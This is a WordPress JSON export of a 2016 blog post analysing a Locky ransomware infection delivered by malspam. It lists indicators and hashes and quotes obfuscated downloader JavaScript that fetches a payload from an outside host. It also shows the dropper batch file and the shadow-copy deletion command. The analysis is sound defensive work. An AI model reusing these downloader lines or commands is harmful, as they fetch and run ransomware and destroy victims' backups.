{"id":490,"date":"2016-05-11T15:49:48","date_gmt":"2016-05-11T14:49:48","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=490"},"modified":"2016-05-12T08:50:19","modified_gmt":"2016-05-12T07:50:19","slug":"2016-05-10-locky-infection-from-malspam","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=490","title":{"rendered":"2016-05-10 Locky Infection From MalSpam"},"content":{"rendered":"<p>This post is covering some Locky malspam that I was able to find while working in the SOC the other day. For the artifacts and such from this post, please see the Github repo located <a href=\"http:\/\/github.com\/bloomer1016\/Malspam-Locky-2016-05-10\" target=\"_blank\">here<\/a>.<\/p>\n<p>IOCs:<br \/>\n====<br \/>\n5.39.70.7 \/ cmobilier.com<br \/>\n193.124.185.87<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG1-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG1-1.png\" alt=\"\" width=\"536\" height=\"274\" class=\"aligncenter size-full wp-image-491\" \/><\/a><\/p>\n<p>File name: export_xls_5F0.zip<br \/>\nMD5 hash: 11e29168d188a4af060772422bb8a1d2<br \/>\nSize: 8KB<br \/>\nVirusTotal: <a href=\"http:\/\/www.virustotal.com\/en\/file\/88ba0118c53b1c9119084bd0700db0c01f39cfe1f2b5d71ed10c4c14bd93c42f\/analysis\/\" target=\"_blank\">http:\/\/www.virustotal.com\/en\/file\/88ba0118c53b1c9119084bd0700db0c01f39cfe1f2b5d71ed10c4c14bd93c42f\/analysis\/<\/a><br \/>\nDetection ratio: 11 \/ 57<br \/>\nFirst submission: 2016-05-10 09:10:35 UTC<\/p>\n<p>Within the zip archive there are 3 javascript files that look identical. The 3 files have the following characteristics: <\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG2-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG2-1.png\" alt=\"\" width=\"1123\" height=\"507\" class=\"aligncenter size-full wp-image-492\" \/><\/a><\/p>\n<p>File name: transactions 4337328.js \/ transactions 4337328.js &#8211; copy.js \/ transactions 4337328.js &#8211; copy (2).js<br \/>\nSHA1 hash (same hash for all 3 files): aaba187150b42b4c3311361744e9310dff320853<br \/>\nSize (same size for all 3 files): 3.63KB<br \/>\nVirusTotal: <a href=\"http:\/\/www.virustotal.com\/en\/file\/4dda62e6e0801606c50a57f78a3981cacef81198b227bec8cfb28db3c768969d\/analysis\/\" target=\"_blank\">http:\/\/www.virustotal.com\/en\/file\/4dda62e6e0801606c50a57f78a3981cacef81198b227bec8cfb28db3c768969d\/analysis\/<\/a><br \/>\nDetection ratio: 6 \/ 57<br \/>\nFirst submission: 2016-05-10 09:14:22 UTC<\/p>\n<p>Looking through the code, I could see that it was spelling out the user&#8217;s TEMP folder and the name of the file: <\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n\t(line 36 from above) - function projectionA \/* ueN8xZdw5U7  *\/(normalVelocity1) {normalVelocity1&#x5B;normalPosX0](IntialInput2&#x5B;&quot;E&quot;+&quot;xpandEnvir&quot;+&quot;o&quot;+&quot;nmentStrings&quot;](&quot;%TE&quot;+&quot;M&quot;+&quot;P%\/&quot;) + &quot;pE8MSuSvvgRqDM.ex&quot; + &quot;e&quot;, 2 * 1); return 0;};\r\n\t(line 37 from above) - normalPosX = IntialInput2&#x5B;&quot;E&quot;+&quot;xpandEnvir&quot;+&quot;o&quot;+&quot;nmentStrings&quot;](&quot;%TE&quot;+&quot;M&quot;+&quot;P%\/&quot;) + &quot;pE8MSuSvvgRqDM.ex&quot; + &quot;e&quot;;\r\n\t(line 58 from above) - Moves1 = IntialInput2&#x5B;&quot;E&quot;+&quot;xpandEnvir&quot;+&quot;o&quot;+&quot;nmentStrings&quot;](&quot;%TE&quot;+&quot;M&quot;+&quot;P%\/&quot;) + &quot;fuck.bat&quot;;<\/pre>\n<p>I could also see that there is a call to a URL:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n\t(line 22 from above) - Sunday0 = &quot;ht&quot;+&quot;tp:&quot;+&quot;\/\/c&quot;+&quot;mo&quot;+&quot;bil&quot;+&quot;ier&quot;+&quot;.c&quot;+&quot;om\/&quot;+&quot;rtu&quot;+&quot;7u&quot;+&quot;jd&quot;; --&gt; Sunday0 = hxxp&#x5B;:]\/\/cmobilier&#x5B;.]com\/rtu7ujd<\/pre>\n<p>Before kicking off the javascript on my test VM, I grabbed the binary from the above URL. Here are the details for it:<\/p>\n<p>File name: rtu7ujd.exe \/ pE8MSuSvvgRqDM.exe<br \/>\nSHA1 hash: 0bca7649a642bd1a77e6ff2db513363031272d87<br \/>\nSize: 133KB<br \/>\nVirusTotal: <a href=\"http:\/\/www.virustotal.com\/en\/file\/4a799b317fde5e2fb464ec9a990e028c814aa5347a76c9ddc8a955721dd2160c\/analysis\/\" target=\"_blank\">http:\/\/www.virustotal.com\/en\/file\/4a799b317fde5e2fb464ec9a990e028c814aa5347a76c9ddc8a955721dd2160c\/analysis\/<\/a><br \/>\nDetection ratio: 9 \/ 57<br \/>\nFirst submission: 2016-05-10 10:50:06 UTC<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG3-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG3-1.png\" alt=\"IMG3\" width=\"365\" height=\"503\" class=\"aligncenter size-full wp-image-493\" \/><\/a><\/p>\n<p>Traffic inspection<br \/>\n===================<\/p>\n<p>After running the javascript file within IE, I saw the following call made in Wireshark:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n\tGET \/rtu7ujd HTTP\/1.1\r\n\tAccept: *\/*\r\n\tUA-CPU: AMD64\r\n\tAccept-Encoding: gzip, deflate\r\n\tUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\/6.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\r\n\tHost: cmobilier.com\r\n\tConnection: Keep-Alive\r\n\r\n\tHTTP\/1.1 200 OK\r\n\tDate: Tue, 10 May 2016 10:33:06 GMT\r\n\tServer: Apache\r\n\tLast-Modified: Tue, 10 May 2016 08:29:44 GMT\r\n\tAccept-Ranges: bytes\r\n\tContent-Length: 136192\r\n\tCache-Control: max-age=31536000\r\n\tExpires: Wed, 10 May 2017 10:33:06 GMT\r\n\tX-Powered-By: PleskLin\r\n\tConnection: close\r\n\tContent-Type: text\/plain\r\n\r\n\tMZ......................@.............................................\t.!..L.!This program cannot be run in DOS mode.<\/pre>\n<p>After that, I immediately saw the POST requests to the same IP address\/port which looks to be encrypted:<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG5-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG5-1.png\" alt=\"\" width=\"1276\" height=\"693\" class=\"aligncenter size-full wp-image-495\" \/><\/a><\/p>\n<p>***Note: So from what I can gather this appears to be the newer version of Locky since the URL structure has changed to the &#8220;\/userinfo.php&#8221; URI as documented over on <a href=\"http:\/\/blog.fortinet.com\/post\/a-new-variant-of-locky-leaking-out\" target=\"_blank\">Fortinet&#8217;s blog<\/a> with some more examples of the newer version of Locky found over on <a href=\"http:\/\/www.malware-traffic-analysis.net\/2016\/05\/03\/index.html\" target=\"_blank\">Brad&#8217;s blog<\/a>.<\/p>\n<p>Host investigation (high level)<br \/>\n===============================<\/p>\n<p>Looking at this infection via Process Monitor I can see that once the javascript file has been executed via the wscript.exe process, it started and created a text file (rtu7ujd[1].txt) in &#8220;C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\ILF673XR&#8221;. Unfortunately I did not grab this file from my VM before restoring it. <\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG6.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG6.png\" alt=\"\" width=\"767\" height=\"576\" class=\"aligncenter size-full wp-image-496\" \/><\/a><\/p>\n<p>It continues to poll other files\/regkeys on the Windows system and then creates the &#8220;fuck.bat&#8221; file in the &#8220;C:\\Users\\%username%\\AppData\\Local\\Temp\\&#8221; folder. The contents of this file is shown below:<\/p>\n<pre class=\"brush: vb; light: false; title: Click here to expand...; toolbar: true; notranslate\" title=\"Click here to expand...\">\r\n\tstart C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\/pE8MSuSvvgRqDM.exe\r\n\texit\t<\/pre>\n<p>I then saw cmd.exe being called to run the &#8220;fuck.bat&#8221; file named above:<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG7.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG7.png\" alt=\"\" width=\"1150\" height=\"970\" class=\"aligncenter size-full wp-image-497\" \/><\/a><\/p>\n<p>Which then calls and loads up the malicious binary (pE8MSuSvvgRqDM.exe):<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG8.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG8.png\" alt=\"\" width=\"471\" height=\"261\" class=\"aligncenter size-full wp-image-498\" \/><\/a><\/p>\n<p>I then saw the call to the Windows API for encryption via the crytsp.dll file, and subsequent calls to other regkeys and files dealing with the Windows encryption API:<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG9.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG9.png\" alt=\"\" width=\"493\" height=\"268\" class=\"aligncenter size-full wp-image-499\" \/><\/a><\/p>\n<p>After several other files and processes spun up and read different files and keys, I saw a new registry key being created, and the vssadmin.exe process start up and issue the &#8220;delete shadows \/ALL \/Quiet&#8221; command:<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG10a.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG10a.png\" alt=\"\" width=\"372\" height=\"263\" class=\"aligncenter size-full wp-image-501\" \/><\/a><br \/>\n<a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG10.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG10.png\" alt=\"\" width=\"428\" height=\"262\" class=\"aligncenter size-full wp-image-500\" \/><\/a><\/p>\n<p>This new regkey (HKCU\\Software\\0W3c6LE2I4s\\Q4he786Vs) had the following information in it. I am assuming that this is for persistence on the infected host:<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG12.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG12.png\" alt=\"\" width=\"420\" height=\"287\" class=\"aligncenter size-full wp-image-505\" \/><\/a><\/p>\n<p>I then saw the file pE8MSuSvvgRqDM.exe start enumerating multiple folders and files. Once it did that, it then started writing the help files and creating files with the &#8220;.locky&#8221; extension to them. It then proceeds to finish that process out and then delete itself from the system:<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG11.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG11.png\" alt=\"\" width=\"484\" height=\"261\" class=\"aligncenter size-full wp-image-502\" \/><\/a><\/p>\n<p>Leaving the user with all their files encrypted and this on the desktop:<\/p>\n<p><a href=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG4-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.herbiez.com\/wp-content\/uploads\/2016\/05\/IMG4-1.png\" alt=\"\" width=\"1227\" height=\"786\" class=\"aligncenter size-full wp-image-494\" \/><\/a><\/p>\n<p>For a video of how the infection took place with Process Monitor running, please see the video below:<\/p>\n<p><iframe loading=\"lazy\" title=\"2016-05-10 Locky infection\" width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/s1MQKGYMdpc?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This post is covering some Locky malspam that I was able to find while working in the SOC the other day. For the artifacts and such from this post, please see the Github repo located here. IOCs: ==== 5.39.70.7 \/ cmobilier.com 193.124.185.87 File name: export_xls_5F0.zip MD5 hash: 11e29168d188a4af060772422bb8a1d2 Size: 8KB VirusTotal: http:\/\/www.virustotal.com\/en\/file\/88ba0118c53b1c9119084bd0700db0c01f39cfe1f2b5d71ed10c4c14bd93c42f\/analysis\/ Detection ratio: 11 \/ 57 First submission: 2016-05-10 09:10:35 UTC Within the zip archive there are 3 javascript files that look identical. The 3 files have the following characteristics: File name: transactions 4337328.js \/ transactions 4337328.js &#8211; copy.js \/ transactions 4337328.js &#8211; copy (2).js SHA1 hash (same hash&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=490\"><span>Continue reading<\/span><i class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-490","post","type-post","status-publish","format-standard","hentry","category-packet-analysis"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/490","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=490"}],"version-history":[{"count":9,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/490\/revisions"}],"predecessor-version":[{"id":512,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/490\/revisions\/512"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=490"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=490"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=490"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}